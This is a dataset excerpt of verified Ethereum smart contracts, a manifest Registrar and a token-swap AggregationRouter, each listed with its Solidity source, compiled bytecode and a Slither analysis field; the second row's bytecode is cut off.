address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0x9dc5ae542328b85fc979a7000ae8ceca62a3c00a
pragma solidity ^0.4.24; /** * @title Registrar */ contract Registrar { address private contractOwner; bool public paused; struct Manifest { address registrant; bytes32 name; uint256 version; uint256 index; bytes32 hashTypeName; string checksum; uint256 createdOn; } struct HashType { bytes32 name; bool active; } uint256 public numHashTypes; mapping(bytes32 => Manifest) private manifests; mapping(address => bytes32[]) private registrantManifests; mapping(bytes32 => bytes32[]) private registrantNameManifests; mapping(bytes32 => uint256) private registrantNameVersionCount; mapping(bytes32 => uint256) public hashTypeIdLookup; mapping(uint256 => HashType) public hashTypes; /** * @dev Log when a manifest registration is successful */ event LogManifest(address indexed registrant, bytes32 indexed name, uint256 indexed version, bytes32 hashTypeName, string checksum); /** * @dev Checks if contractOwner addresss is calling */ modifier onlyContractOwner { require(msg.sender == contractOwner); _; } /** * @dev Checks if contract is active */ modifier contractIsActive { require(paused == false); _; } /** * @dev Checks if the values provided for this manifest are valid */ modifier manifestIsValid(bytes32 name, bytes32 hashTypeName, string checksum, address registrant) { require(name != bytes32(0x0) && hashTypes[hashTypeIdLookup[hashTypeName]].active == true && bytes(checksum).length != 0 && registrant != address(0x0) && manifests[keccak256(abi.encodePacked(registrant, name, nextVersion(registrant, name)))].name == bytes32(0x0) ); _; } /** * Constructor */ constructor() public { contractOwner = msg.sender; addHashType('sha256'); } /******************************************/ /* OWNER ONLY METHODS */ /******************************************/ /** * @dev Allows contractOwner to add hashType * @param _name The value to be added */ function addHashType(bytes32 _name) public onlyContractOwner { require(hashTypeIdLookup[_name] == 0); numHashTypes++; hashTypeIdLookup[_name] = numHashTypes; HashType storage _hashType = hashTypes[numHashTypes]; // Store info about this hashType _hashType.name = _name; _hashType.active = true; } /** * @dev Allows contractOwner to activate/deactivate hashType * @param _name The name of the hashType * @param _active The value to be set */ function setActiveHashType(bytes32 _name, bool _active) public onlyContractOwner { require(hashTypeIdLookup[_name] > 0); hashTypes[hashTypeIdLookup[_name]].active = _active; } /** * @dev Allows contractOwner to pause the contract * @param _paused The value to be set */ function setPaused(bool _paused) public onlyContractOwner { paused = _paused; } /** * @dev Allows contractOwner to kill the contract */ function kill() public onlyContractOwner { selfdestruct(contractOwner); } /******************************************/ /* PUBLIC METHODS */ /******************************************/ /** * @dev Function to determine the next version value of a manifest * @param _registrant The registrant address of the manifest * @param _name The name of the manifest * @return The next version value */ function nextVersion(address _registrant, bytes32 _name) public view returns (uint256) { bytes32 registrantNameIndex = keccak256(abi.encodePacked(_registrant, _name)); return (registrantNameVersionCount[registrantNameIndex] + 1); } /** * @dev Function to register a manifest * @param _name The name of the manifest * @param _hashTypeName The hashType of the manifest * @param _checksum The checksum of the manifest */ function register(bytes32 _name, bytes32 _hashTypeName, string _checksum) public contractIsActive manifestIsValid(_name, _hashTypeName, _checksum, msg.sender) { // Generate registrant name index bytes32 registrantNameIndex = keccak256(abi.encodePacked(msg.sender, _name)); // Increment the version for this manifest registrantNameVersionCount[registrantNameIndex]++; // Generate ID for this manifest bytes32 manifestId = keccak256(abi.encodePacked(msg.sender, _name, registrantNameVersionCount[registrantNameIndex])); Manifest storage _manifest = manifests[manifestId]; // Store info about this manifest _manifest.registrant = msg.sender; _manifest.name = _name; _manifest.version = registrantNameVersionCount[registrantNameIndex]; _manifest.index = registrantNameManifests[registrantNameIndex].length; _manifest.hashTypeName = _hashTypeName; _manifest.checksum = _checksum; _manifest.createdOn = now; registrantManifests[msg.sender].push(manifestId); registrantNameManifests[registrantNameIndex].push(manifestId); emit LogManifest(msg.sender, _manifest.name, _manifest.version, _manifest.hashTypeName, _manifest.checksum); } /** * @dev Function to get a manifest registration based on registrant address, manifest name and version * @param _registrant The registrant address of the manifest * @param _name The name of the manifest * @param _version The version of the manifest * @return The registrant address of the manifest * @return The name of the manifest * @return The version of the manifest * @return The index of this manifest in registrantNameManifests * @return The hashTypeName of the manifest * @return The checksum of the manifest * @return The created on date of the manifest */ function getManifest(address _registrant, bytes32 _name, uint256 _version) public view returns (address, bytes32, uint256, uint256, bytes32, string, uint256) { bytes32 manifestId = keccak256(abi.encodePacked(_registrant, _name, _version)); require(manifests[manifestId].name != bytes32(0x0)); Manifest memory _manifest = manifests[manifestId]; return ( _manifest.registrant, _manifest.name, _manifest.version, _manifest.index, _manifest.hashTypeName, _manifest.checksum, _manifest.createdOn ); } /** * @dev Function to get a manifest registration based on manifestId * @param _manifestId The registration ID of the manifest * @return The registrant address of the manifest * @return The name of the manifest * @return The version of the manifest * @return The index of this manifest in registrantNameManifests * @return The hashTypeName of the manifest * @return The checksum of the manifest * @return The created on date of the manifest */ function getManifestById(bytes32 _manifestId) public view returns (address, bytes32, uint256, uint256, bytes32, string, uint256) { require(manifests[_manifestId].name != bytes32(0x0)); Manifest memory _manifest = manifests[_manifestId]; return ( _manifest.registrant, _manifest.name, _manifest.version, _manifest.index, _manifest.hashTypeName, _manifest.checksum, _manifest.createdOn ); } /** * @dev Function to get the latest manifest registration based on registrant address and manifest name * @param _registrant The registrant address of the manifest * @param _name The name of the manifest * @return The registrant address of the manifest * @return The name of the manifest * @return The version of the manifest * @return The index of this manifest in registrantNameManifests * @return The hashTypeName of the manifest * @return The checksum of the manifest * @return The created on date of the manifest */ function getLatestManifestByName(address _registrant, bytes32 _name) public view returns (address, bytes32, uint256, uint256, bytes32, string, uint256) { bytes32 registrantNameIndex = keccak256(abi.encodePacked(_registrant, _name)); require(registrantNameManifests[registrantNameIndex].length > 0); bytes32 manifestId = registrantNameManifests[registrantNameIndex][registrantNameManifests[registrantNameIndex].length - 1]; Manifest memory _manifest = manifests[manifestId]; return ( _manifest.registrant, _manifest.name, _manifest.version, _manifest.index, _manifest.hashTypeName, _manifest.checksum, _manifest.createdOn ); } /** * @dev Function to get the latest manifest registration based on registrant address * @param _registrant The registrant address of the manifest * @return The registrant address of the manifest * @return The name of the manifest * @return The version of the manifest * @return The index of this manifest in registrantNameManifests * @return The hashTypeName of the manifest * @return The checksum of the manifest * @return The created on date of the manifest */ function getLatestManifest(address _registrant) public view returns (address, bytes32, uint256, uint256, bytes32, string, uint256) { require(registrantManifests[_registrant].length > 0); bytes32 manifestId = registrantManifests[_registrant][registrantManifests[_registrant].length - 1]; Manifest memory _manifest = manifests[manifestId]; return ( _manifest.registrant, _manifest.name, _manifest.version, _manifest.index, _manifest.hashTypeName, _manifest.checksum, _manifest.createdOn ); } /** * @dev Function to get a list of manifest Ids based on registrant address * @param _registrant The registrant address of the manifest * @return Array of manifestIds */ function getManifestIdsByRegistrant(address _registrant) public view returns (bytes32[]) { return registrantManifests[_registrant]; } /** * @dev Function to get a list of manifest Ids based on registrant address and manifest name * @param _registrant The registrant address of the manifest * @param _name The name of the manifest * @return Array of registrationsIds */ function getManifestIdsByName(address _registrant, bytes32 _name) public view returns (bytes32[]) { bytes32 registrantNameIndex = keccak256(abi.encodePacked(_registrant, _name)); return registrantNameManifests[registrantNameIndex]; } /** * @dev Function to get manifest Id based on registrant address, manifest name and version * @param _registrant The registrant address of the manifest * @param _name The name of the manifest * @param _version The version of the manifest * @return The manifestId of the manifest */ function getManifestId(address _registrant, bytes32 _name, uint256 _version) public view returns (bytes32) { bytes32 manifestId = keccak256(abi.encodePacked(_registrant, _name, _version)); require(manifests[manifestId].name != bytes32(0x0)); return manifestId; } }
0x6080604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166303058aad81146100f55780630e5ceb47146101c957806316c38b3c1461022b57806340aee1a91461024557806341c0e1b51461026c57806342dca9ea146102815780635b225d25146102f25780635c975abb146103165780635fbb53591461033f5780638e76581e14610357578063a0e4d7d41461037e578063b73f02e4146103a2578063ba7badeb146103bf578063ef95aa5d146103e3578063fa0cdc811461040a578063fe72277d14610422578063fececa841461043a575b600080fd5b34801561010157600080fd5b50610116600160a060020a036004351661046b565b60408051600160a060020a03891681526020808201899052918101879052606081018690526080810185905260c0810183905260e060a0820181815285519183019190915284519192909161010084019186019080838360005b83811015610188578181015183820152602001610170565b50505050905090810190601f1680156101b55780820380516001836020036101000a031916815260200191505b509850505050505050505060405180910390f35b3480156101d557600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526102299482359460248035953695946064949201919081908401838280828437509497506106049650505050505050565b005b34801561023757600080fd5b506102296004351515610ae6565b34801561025157600080fd5b5061025a610b3d565b60408051918252519081900360200190f35b34801561027857600080fd5b50610229610b43565b34801561028d57600080fd5b506102a2600160a060020a0360043516610b68565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156102de5781810151838201526020016102c6565b505050509050019250505060405180910390f35b3480156102fe57600080fd5b50610116600160a060020a0360043516602435610bd5565b34801561032257600080fd5b5061032b610dfd565b604080519115158252519081900360200190f35b34801561034b57600080fd5b5061025a600435610e1e565b34801561036357600080fd5b5061025a600160a060020a0360043516602435604435610e30565b34801561038a57600080fd5b506102a2600160a060020a0360043516602435610efe565b3480156103ae57600080fd5b506102296004356024351515610ffd565b3480156103cb57600080fd5b5061025a600160a060020a036004351660243561105d565b3480156103ef57600080fd5b50610116600160a060020a0360043516602435604435611115565b34801561041657600080fd5b5061011660043561131d565b34801561042e57600080fd5b50610229600435611474565b34801561044657600080fd5b506104526004356114de565b6040805192835290151560208301528051918290030190f35b600080600080600060606000806104806114fa565b600160a060020a038a16600090815260036020526040812054116104a357600080fd5b600160a060020a038a166000908152600360205260409020805460001981019081106104cb57fe5b60009182526020808320909101548083526002808352604093849020845160e0810186528154600160a060020a0316815260018083015482870152828401548288015260038301546060830152600483015460808301526005830180548851601f9382161561010002600019019091169590950491820187900487028501870190975280845293975094909360a0860193908301828280156105ae5780601f10610583576101008083540402835291602001916105ae565b820191906000526020600020905b81548152906001019060200180831161059157829003601f168201915b505050505081526020016006820154815250509050806000015181602001518260400151836060015184608001518560a001518660c0015181915098509850985098509850985098505050919395979092949650565b600080548190819074010000000000000000000000000000000000000000900460ff161561063157600080fd5b858585338315801590610667575060008381526006602090815260408083205483526007909152902060019081015460ff161515145b80156106735750815115155b80156106875750600160a060020a03811615155b801561076857506000600281838761069f828261105d565b6040516020018084600160a060020a0316600160a060020a03166c01000000000000000000000000028152601401836000191660001916815260200182815260200193505050506040516020818303038152906040526040518082805190602001908083835b602083106107245780518252601f199092019160209182019101610705565b51815160209384036101000a600019018019909216911617905260408051929094018290039091208652850195909552929092016000206001015493909314925050505b151561077357600080fd5b604080516c01000000000000000000000000330260208083019190915260348083018e905283518084039091018152605490920192839052815191929182918401908083835b602083106107d85780518252601f1990920191602091820191016107b9565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020965060056000886000191660001916815260200190815260200160002060008154809291906001019190505550338a600560008a60001916600019168152602001908152602001600020546040516020018084600160a060020a0316600160a060020a03166c01000000000000000000000000028152601401836000191660001916815260200182815260200193505050506040516020818303038152906040526040518082805190602001908083835b602083106108d55780518252601f1990920191602091820191016108b6565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902095506002600087600019166000191681526020019081526020016000209450338560000160006101000a815481600160a060020a030219169083600160a060020a031602179055508985600101816000191690555060056000886000191660001916815260200190815260200160002054856002018190555060046000886000191660001916815260200190815260200160002080549050856003018190555088856004018160001916905550878560050190805190602001906109c7929190611535565b50426006860155336000818152600360209081526040808320805460018181018355918552838520018b90558b8452600480845282852080548084018255908652948490209094018b90556002808b0154828c0154958c0154845181815295860185815260058e018054610100968116159690960260001901909516939093049486018590529096947f4e03a16b963a66084bf2d356ea1aee962d85ce1cfffc3d7c49afbef6ba5ea5ac949193929091606083019084908015610acb5780601f10610aa057610100808354040283529160200191610acb565b820191906000526020600020905b815481529060010190602001808311610aae57829003601f168201915b5050935050505060405180910390a450505050505050505050565b600054600160a060020a03163314610afd57600080fd5b60008054911515740100000000000000000000000000000000000000000274ff000000000000000000000000000000000000000019909216919091179055565b60015481565b600054600160a060020a03163314610b5a57600080fd5b600054600160a060020a0316ff5b600160a060020a038116600090815260036020908152604091829020805483518184028101840190945280845260609392830182828015610bc957602002820191906000526020600020905b81548152600190910190602001808311610bb4575b50505050509050919050565b600080600080600060606000806000610bec6114fa565b604080516c01000000000000000000000000600160a060020a038f160260208083019190915260348083018f905283518084039091018152605490920192839052815191929182918401908083835b60208310610c5a5780518252601f199092019160209182019101610c3b565b51815160209384036101000a6000190180199092169116179052604080519290940182900390912060008181526004909252928120549297509091119250610ca491505057600080fd5b600083815260046020526040902080546000198101908110610cc257fe5b60009182526020808320909101548083526002808352604093849020845160e0810186528154600160a060020a0316815260018083015482870152828401548288015260038301546060830152600483015460808301526005830180548851601f9382161561010002600019019091169590950491820187900487028501870190975280845293975094909360a086019390830182828015610da55780601f10610d7a57610100808354040283529160200191610da5565b820191906000526020600020905b815481529060010190602001808311610d8857829003601f168201915b505050505081526020016006820154815250509050806000015181602001518260400151836060015184608001518560a001518660c00151819150995099509950995099509950995050505092959891949750929550565b60005474010000000000000000000000000000000000000000900460ff1681565b60066020526000908152604090205481565b604080516c01000000000000000000000000600160a060020a03861602602080830191909152603482018590526054808301859052835180840390910181526074909201928390528151600093849392909182918401908083835b60208310610eaa5780518252601f199092019160209182019101610e8b565b51815160209384036101000a6000190180199092169116179052604080519290940182900390912060008181526002909252929020600101549194505015159150610ef6905057600080fd5b949350505050565b604080516c01000000000000000000000000600160a060020a03851602602080830191909152603480830185905283518084039091018152605490920192839052815160609360009392909182918401908083835b60208310610f725780518252601f199092019160209182019101610f53565b51815160209384036101000a6000190180199092169116179052604080519290940182900382206000818152600483528590208054808402850184019096528584529097509195509093508401905082828015610fef57602002820191906000526020600020905b81548152600190910190602001808311610fda575b505050505091505092915050565b600054600160a060020a0316331461101457600080fd5b6000828152600660205260408120541161102d57600080fd5b60009182526006602090815260408084205484526007909152909120600101805460ff1916911515919091179055565b604080516c01000000000000000000000000600160a060020a038516026020808301919091526034808301859052835180840390910181526054909201928390528151600093849392909182918401908083835b602083106110d05780518252601f1990920191602091820191016110b1565b51815160209384036101000a60001901801990921691161790526040805192909401829003909120600090815260059091529190912054600101979650505050505050565b6000806000806000606060008061112a6114fa565b604080516c01000000000000000000000000600160a060020a038f1602602080830191909152603482018e905260548083018e905283518084039091018152607490920192839052815191929182918401908083835b6020831061119f5780518252601f199092019160209182019101611180565b51815160209384036101000a60001901801990921691161790526040805192909401829003909120600081815260029092529290206001015491955050151591506111eb905057600080fd5b600082815260026020818152604092839020835160e0810185528154600160a060020a0316815260018083015482850152828501548287015260038301546060830152600483015460808301526005830180548751601f938216156101000260001901909116969096049182018590048502860185019096528085529094919360a0860193909291908301828280156112c55780601f1061129a576101008083540402835291602001916112c5565b820191906000526020600020905b8154815290600101906020018083116112a857829003601f168201915b505050505081526020016006820154815250509050806000015181602001518260400151836060015184608001518560a001518660c00151819150985098509850985098509850985050509397509397509397909450565b6000806000806000606060006113316114fa565b600089815260026020526040902060010154151561134e57600080fd5b600089815260026020818152604092839020835160e0810185528154600160a060020a0316815260018083015482850152828501548287015260038301546060830152600483015460808301526005830180548751601f938216156101000260001901909116969096049182018590048502860185019096528085529094919360a0860193909291908301828280156114285780601f106113fd57610100808354040283529160200191611428565b820191906000526020600020905b81548152906001019060200180831161140b57829003601f168201915b50505091835250506006919091015460209182015281519082015160408301516060840151608085015160a086015160c090960151949f939e50919c509a509850919650945092505050565b60008054600160a060020a0316331461148c57600080fd5b600082815260066020526040902054156114a557600080fd5b5060018054810180825560008381526006602090815260408083208490559282526007905220918255908101805460ff19169091179055565b6007602052600090815260409020805460019091015460ff1682565b6040805160e08101825260008082526020820181905291810182905260608082018390526080820183905260a082015260c081019190915290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061157657805160ff19168380011785556115a3565b828001600101855582156115a3579182015b828111156115a3578251825591602001919060010190611588565b506115af9291506115b3565b5090565b6115cd91905b808211156115af57600081556001016115b9565b905600a165627a7a723058207055e827551a2bdfb6ad2ff51f387eb1dd079738cd35a55e59d1f804af5002bc0029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
4,800
0x1Fc3607fa67B58DedDB0fAf7a116F417a20C551c
/** *Submitted for verification at Etherscan.io on 2021-12-15 */ // SPDX-License-Identifier: MIT pragma solidity >=0.7.6; pragma abicoder v2; interface IERC20 { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); } interface IAggregationExecutor { function callBytes(bytes calldata data) external payable; // 0xd9c45357 } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper: APPROVE_FAILED" ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper: TRANSFER_FAILED" ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper: TRANSFER_FROM_FAILED" ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, "TransferHelper: ETH_TRANSFER_FAILED"); } } // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x, "ds-math-add-overflow"); } function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x, "ds-math-sub-underflow"); } function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow"); } function div(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b > 0, "ds-math-division-by-zero"); c = a / b; } } interface IERC20Permit { function permit( address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } library RevertReasonParser { function parse(bytes memory data, string memory prefix) internal pure returns (string memory) { // https://solidity.readthedocs.io/en/latest/control-structures.html#revert // We assume that revert reason is abi-encoded as Error(string) // 68 = 4-byte selector 0x08c379a0 + 32 bytes offset + 32 bytes length if ( data.length >= 68 && data[0] == "\x08" && data[1] == "\xc3" && data[2] == "\x79" && data[3] == "\xa0" ) { string memory reason; // solhint-disable no-inline-assembly assembly { // 68 = 32 bytes data length + 4-byte selector + 32 bytes offset reason := add(data, 68) } /* revert reason is padded up to 32 bytes with ABI encoder: Error(string) also sometimes there is extra 32 bytes of zeros padded in the end: https://github.com/ethereum/solidity/issues/10170 because of that we can't check for equality and instead check that string length + extra 68 bytes is less than overall data length */ require( data.length >= 68 + bytes(reason).length, "Invalid revert reason" ); return string(abi.encodePacked(prefix, "Error(", reason, ")")); } // 36 = 4-byte selector 0x4e487b71 + 32 bytes integer else if ( data.length == 36 && data[0] == "\x4e" && data[1] == "\x48" && data[2] == "\x7b" && data[3] == "\x71" ) { uint256 code; // solhint-disable no-inline-assembly assembly { // 36 = 32 bytes data length + 4-byte selector code := mload(add(data, 36)) } return string(abi.encodePacked(prefix, "Panic(", _toHex(code), ")")); } return string(abi.encodePacked(prefix, "Unknown(", _toHex(data), ")")); } function _toHex(uint256 value) private pure returns (string memory) { return _toHex(abi.encodePacked(value)); } function _toHex(bytes memory data) private pure returns (string memory) { bytes16 alphabet = 0x30313233343536373839616263646566; bytes memory str = new bytes(2 + data.length * 2); str[0] = "0"; str[1] = "x"; for (uint256 i = 0; i < data.length; i++) { str[2 * i + 2] = alphabet[uint8(data[i] >> 4)]; str[2 * i + 3] = alphabet[uint8(data[i] & 0x0f)]; } return string(str); } } contract Permitable { event Error(string reason); function _permit( IERC20 token, uint256 amount, bytes calldata permit ) internal { if (permit.length == 32 * 7) { // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory result) = address(token).call( abi.encodePacked(IERC20Permit.permit.selector, permit) ); if (!success) { string memory reason = RevertReasonParser.parse(result, "Permit call failed: "); if (token.allowance(msg.sender, address(this)) < amount) { revert(reason); } else { emit Error(reason); } } } } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract AggregationRouter is Permitable, Ownable { using SafeMath for uint256; address public immutable WETH; address private constant ETH_ADDRESS = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); uint256 private constant _PARTIAL_FILL = 0x01; uint256 private constant _REQUIRES_EXTRA_ETH = 0x02; uint256 private constant _SHOULD_CLAIM = 0x04; uint256 private constant _BURN_FROM_MSG_SENDER = 0x08; uint256 private constant _BURN_FROM_TX_ORIGIN = 0x10; struct SwapDescription { IERC20 srcToken; IERC20 dstToken; address srcReceiver; address dstReceiver; uint256 amount; uint256 minReturnAmount; uint256 flags; bytes permit; } event Swapped( address sender, IERC20 srcToken, IERC20 dstToken, address dstReceiver, uint256 spentAmount, uint256 returnAmount ); event Exchange(address pair, uint256 amountOut, address output); modifier ensure(uint256 deadline) { require(deadline >= block.timestamp, "Router: EXPIRED"); _; } constructor(address _WETH) public { WETH = _WETH; } receive() external payable { assert(msg.sender == WETH); // only accept ETH via fallback from the WETH contract } function swap( IAggregationExecutor caller, SwapDescription calldata desc, bytes calldata data ) external payable returns (uint256 returnAmount) { require(desc.minReturnAmount > 0, "Min return should not be 0"); require(data.length > 0, "data should be not zero"); uint256 flags = desc.flags; uint256 amount = desc.amount; IERC20 srcToken = desc.srcToken; IERC20 dstToken = desc.dstToken; if (flags & _REQUIRES_EXTRA_ETH != 0) { require( msg.value > (isETH(srcToken) ? amount : 0), "Invalid msg.value" ); } else { require( msg.value == (isETH(srcToken) ? amount : 0), "Invalid msg.value" ); } if (flags & _SHOULD_CLAIM != 0) { require(!isETH(srcToken), "Claim token is ETH"); _permit(srcToken, amount, desc.permit); TransferHelper.safeTransferFrom( address(srcToken), msg.sender, desc.srcReceiver, amount ); } address dstReceiver = (desc.dstReceiver == address(0)) ? msg.sender : desc.dstReceiver; uint256 initialSrcBalance = (flags & _PARTIAL_FILL != 0) ? getBalance(srcToken, msg.sender) : 0; uint256 initialDstBalance = getBalance(dstToken, dstReceiver); { // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory result) = address(caller).call{value: msg.value}( abi.encodeWithSelector(caller.callBytes.selector, data) ); if (!success) { revert(RevertReasonParser.parse(result, "callBytes failed: ")); } } uint256 spentAmount = amount; returnAmount = getBalance(dstToken, dstReceiver).sub(initialDstBalance); if (flags & _PARTIAL_FILL != 0) { spentAmount = initialSrcBalance.add(amount).sub( getBalance(srcToken, msg.sender) ); require( returnAmount.mul(amount) >= desc.minReturnAmount.mul(spentAmount), "Return amount is not enough" ); } else { require( returnAmount >= desc.minReturnAmount, "Return amount is not enough" ); } emit Swapped( msg.sender, srcToken, dstToken, dstReceiver, spentAmount, returnAmount ); emit Exchange( address(caller), returnAmount, isETH(dstToken) ? WETH : address(dstToken) ); } function getBalance(IERC20 token, address account) internal view returns (uint256) { if (isETH(token)) { return account.balance; } else { return token.balanceOf(account); } } function isETH(IERC20 token) internal pure returns (bool) { return (address(token) == ETH_ADDRESS); } function rescueFunds(address token, uint256 amount) external onlyOwner { if (isETH(IERC20(token))) { TransferHelper.safeTransferETH(msg.sender, amount); } else { TransferHelper.safeTransfer(token, msg.sender, amount); } } }
0x6080604052600436106100695760003560e01c80638da5cb5b116100435780638da5cb5b14610112578063ad5c464814610134578063f2fde38b14610149576100af565b8063715018a6146100b457806378e3214f146100c95780637c025200146100e9576100af565b366100af573373ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc216146100ad57fe5b005b600080fd5b3480156100c057600080fd5b506100ad610169565b3480156100d557600080fd5b506100ad6100e436600461170d565b610254565b6100fc6100f7366004611758565b6102f3565b60405161010991906119be565b60405180910390f35b34801561011e57600080fd5b5061012761083b565b60405161010991906119c7565b34801561014057600080fd5b50610127610857565b34801561015557600080fd5b506100ad6101643660046116ea565b61087b565b6101716109c8565b73ffffffffffffffffffffffffffffffffffffffff1661018f61083b565b73ffffffffffffffffffffffffffffffffffffffff16146101e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101dc90611d90565b60405180910390fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b61025c6109c8565b73ffffffffffffffffffffffffffffffffffffffff1661027a61083b565b73ffffffffffffffffffffffffffffffffffffffff16146102c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101dc90611d90565b6102d0826109cc565b156102e4576102df33826109fe565b6102ef565b6102ef823383610ab7565b5050565b6000808460a0013511610332576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101dc90611d59565b81610369576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101dc90611dc5565b60c08401356080850135600061038260208801886116ea565b905060006103966040890160208a016116ea565b905060028416156103f4576103aa826109cc565b6103b55760006103b7565b825b34116103ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101dc90611ceb565b610442565b6103fd826109cc565b61040857600061040a565b825b3414610442576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101dc90611ceb565b60048416156104bd57610454826109cc565b1561048b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101dc90611be9565b6104a2828461049d60e08c018c611eed565b610be0565b6104bd82336104b760608c0160408d016116ea565b86610dee565b6000806104d060808b0160608c016116ea565b73ffffffffffffffffffffffffffffffffffffffff1614610500576104fb60808a0160608b016116ea565b610502565b335b905060006001861661051557600061051f565b61051f8433610f12565b9050600061052d8484610f12565b90506000808d73ffffffffffffffffffffffffffffffffffffffff163463d9c4535760e01b8e8e604051602401610565929190611add565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff000000000000000000000000000000000000000000000000000000009094169390931790925290516105ee9190611852565b60006040518083038185875af1925050503d806000811461062b576040519150601f19603f3d011682016040523d82523d6000602084013e610630565b606091505b5091509150816106ac57610679816040518060400160405280601281526020017f63616c6c4279746573206661696c65643a200000000000000000000000000000815250610feb565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101dc9190611b2a565b508690506106c4826106be8787610f12565b906113bd565b9850600188161561073d576106e66106dc8733610f12565b6106be858a6113fa565b90506106f660a08d013582611437565b6107008a89611437565b1015610738576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101dc90611d22565b61077b565b8b60a0013589101561077b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101dc90611d22565b7fd6d4f5681c246c9f42c203e287975af1601f8df8035a9251f79aab5c8f09e2f833878787858e6040516107b496959493929190611a0f565b60405180910390a17fddac40937f35385a34f721af292e5a83fc5b840f722bff57c2fc71adba708c488d8a6107e8886109cc565b6107f25787610814565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc25b60405161082393929190611aad565b60405180910390a15050505050505050949350505050565b60005473ffffffffffffffffffffffffffffffffffffffff1690565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b6108836109